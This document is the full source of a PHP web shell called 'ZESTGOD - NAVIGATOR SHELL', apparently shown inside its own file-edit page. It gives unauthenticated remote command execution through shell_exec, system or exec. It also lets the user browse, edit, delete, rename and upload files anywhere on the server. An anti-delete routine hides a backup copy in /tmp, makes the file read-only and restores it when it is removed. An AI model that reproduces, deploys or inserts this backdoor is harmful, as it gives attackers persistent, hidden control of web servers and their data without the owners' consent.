✏️ Editing: zsnoob.php
<?php /** * ZESTGOD - NAVIGATOR SHELL * Bisa pindah folder pake path langsung (kayak sebelumnya) */ // ========== ANTI-DELETE ========== class AntiDelete { private $f; private $backup; function __construct() { $this->f = __FILE__; $this->backup = '/tmp/.' . md5($this->f) . '.bak'; if (!file_exists($this->backup)) @copy($this->f, $this->backup); if (is_writable($this->f)) @chmod($this->f, 0444); if (!file_exists($this->f) && file_exists($this->backup)) @copy($this->backup, $this->f); } } new AntiDelete(); // ========== FUNGSI ========== function formatSize($bytes) { if ($bytes >= 1073741824) return number_format($bytes/1073741824,2).' GB'; if ($bytes >= 1048576) return number_format($bytes/1048576,2).' MB'; if ($bytes >= 1024) return number_format($bytes/1024,2).' KB'; return $bytes.' bytes'; } // ========== PATH HANDLER (KAYAK SEBELUMNYA) ========== $root_path = __DIR__; if (isset($_GET['p'])) { if (empty($_GET['p'])) { $p = $root_path; } elseif (is_dir($_GET['p'])) { $p = $_GET['p']; } else { $p = $root_path; } } else { $p = $root_path; } $dir = realpath($p); if (!$dir || !is_dir($dir)) $dir = $root_path; // ========== EDIT FILE ========== if (isset($_GET['edit'])) { $file = $_GET['edit']; if (file_exists($file)) { if (isset($_POST['save'])) { file_put_contents($file, $_POST['content']); echo "<script>alert('Saved!'); window.location.href='?p=" . urlencode(dirname($file)) . "';</script>"; exit; } $content = htmlspecialchars(file_get_contents($file)); echo "<!DOCTYPE html><html><head><title>Edit</title><style>body{background:#0a0a0a;color:#0f0;font-family:monospace;padding:20px;}textarea{width:100%;height:400px;background:#111;color:#0f0;border:1px solid #0f0;}button{background:#004d1a;color:#fff;border:1px solid #0f0;padding:5px 10px;}</style></head><body>"; echo "<h2>✏️ Editing: " . basename($file) . "</h2>"; echo "<form method='post'><textarea name='content'>$content</textarea><br>"; echo "<button type='submit' name='save'>💾 SAVE</button> <a href='?p=" . urlencode(dirname($file)) . "'>← BACK</a></form>"; echo "</body></html>"; exit; } } // ========== DELETE ========== if (isset($_GET['delete'])) { $file = $_GET['delete']; if (file_exists($file)) { if (is_dir($file)) @rmdir($file); else @unlink($file); } header("Location: ?p=" . urlencode(dirname($file))); exit; } // ========== RENAME ========== if (isset($_GET['rename'])) { $old = $_GET['rename']; if (isset($_POST['new_name'])) { $new = dirname($old) . '/' . $_POST['new_name']; if (rename($old, $new)) { echo "<script>alert('Renamed!'); window.location.href='?p=" . urlencode(dirname($old)) . "';</script>"; exit; } } echo "<!DOCTYPE html><html><head><title>Rename</title><style>body{background:#0a0a0a;color:#0f0;font-family:monospace;padding:20px;}input{background:#111;color:#0f0;border:1px solid #0f0;padding:5px;}button{background:#004d1a;color:#fff;border:1px solid #0f0;padding:5px 10px;}</style></head><body>"; echo "<h2>Rename: " . basename($old) . "</h2>"; echo "<form method='post'><input type='text' name='new_name' value='" . basename($old) . "'><button type='submit'>RENAME</button> <a href='?p=" . urlencode(dirname($old)) . "'>Cancel</a></form>"; echo "</body></html>"; exit; } // ========== UPLOAD ========== if (isset($_FILES['file'])) { $target = $dir . '/' . basename($_FILES['file']['name']); if (move_uploaded_file($_FILES['file']['tmp_name'], $target)) { echo "<div style='color:#0f0;'>✅ Uploaded: " . basename($target) . "</div>"; } else { echo "<div style='color:#f00;'>❌ Upload failed</div>"; } } // ========== COMMAND ========== $cmd_output = ''; if (isset($_POST['cmd'])) { $cmd = $_POST['cmd']; if (function_exists('shell_exec')) $cmd_output = shell_exec($cmd . ' 2>&1'); elseif (function_exists('system')) { ob_start(); system($cmd . ' 2>&1'); $cmd_output = ob_get_clean(); } elseif (function_exists('exec')) { exec($cmd . ' 2>&1', $o); $cmd_output = implode("\n", $o); } else $cmd_output = "No execution function"; } ?> <!DOCTYPE html> <html> <head> <title>ZESTGOD - NAVIGATOR</title> <style> body { background: #0a0a0a; color: #00ff41; font-family: monospace; padding: 20px; } a { color: #00ff41; text-decoration: none; } a:hover { color: #ff0000; } table { width: 100%; border-collapse: collapse; margin-top: 15px; } th, td { border: 1px solid #222; padding: 8px; text-align: left; } input, button { background: #111; color: #00ff41; border: 1px solid #00ff41; padding: 5px; cursor: pointer; } .nav { background: #111; padding: 10px; margin-bottom: 15px; border-left: 4px solid #00ff41; font-size: 14px; word-break: break-all; } .toolbar { background: #111; padding: 15px; margin-bottom: 10px; border: 1px solid #222; } .cmd-output { background: #111; padding: 10px; margin-top: 10px; border: 1px solid #333; overflow: auto; max-height: 200px; } </style> </head> <body> <h1>🔥 ZESTGOD NAVIGATOR 🔥</h1> <div class="toolbar"> <h3>💻 COMMAND</h3> <form method="post"> <input type="text" name="cmd" placeholder="whoami, ls -la, id, pwd" style="width:70%;"> <button type="submit">▶ RUN</button> </form> <?php if ($cmd_output): ?> <div class="cmd-output"><pre><?= htmlspecialchars($cmd_output) ?></pre></div> <?php endif; ?> </div> <div class="toolbar"> <h3>📤 UPLOAD</h3> <form method="post" enctype="multipart/form-data"> <input type="file" name="file"> <button type="submit">📤 UPLOAD</button> </form> </div> <!-- ========== PATH NAVIGATION (KAYAK SEBELUMNYA) ========== --> <div class="nav"> <b>Path:</b> <?php $parts = explode('/', $dir); $acc = ''; foreach ($parts as $i => $part) { if ($part == '') continue; $acc .= '/' . $part; echo "<a href='?p=" . urlencode($acc) . "'>" . htmlspecialchars($part) . "</a>/"; } ?> <span style="float:right;"> <a href="?p=<?= urlencode(dirname($dir)) ?>">⬆ UP</a> | <a href="?p=">🏠 HOME</a> </span> </div> <?php // ========== LIST FILES ========== $items = scandir($dir); $folders = []; $files = []; foreach ($items as $item) { if ($item == '.' || $item == '..') continue; $full = $dir . '/' . $item; if (is_dir($full)) $folders[] = $item; else $files[] = $item; } echo "<table>"; echo "<tr><th>Name</th><th>Size</th><th>Actions</th></tr>"; // Folders foreach ($folders as $f) { echo "<tr>"; echo "<td>📁 <a href='?p=" . urlencode($dir . '/' . $f) . "'>$f</a></td>"; echo "<td>DIR</td>"; echo "<td>"; echo "<a href='?p=" . urlencode($dir) . "&rename=" . urlencode($dir . '/' . $f) . "'>✏️ RENAME</a> | "; echo "<a href='?p=" . urlencode($dir) . "&delete=" . urlencode($dir . '/' . $f) . "' onclick='return confirm(\"Delete $f?\")'>🗑️ DELETE</a>"; echo "</td>"; echo "</tr>"; } // Files foreach ($files as $f) { $full = $dir . '/' . $f; $size = formatSize(filesize($full)); echo "<tr>"; echo "<td>📄 $f</td>"; echo "<td>$size</td>"; echo "<td>"; echo "<a href='?edit=" . urlencode($full) . "'>✏️ EDIT</a> | "; echo "<a href='?p=" . urlencode($dir) . "&rename=" . urlencode($full) . "'>🔄 RENAME</a> | "; echo "<a href='?p=" . urlencode($dir) . "&delete=" . urlencode($full) . "' onclick='return confirm(\"Delete $f?\")'>🗑️ DELETE</a>"; echo "</td>"; echo "</tr>"; } echo "</table>"; ?> </body> </html>
💾 SAVE
← BACK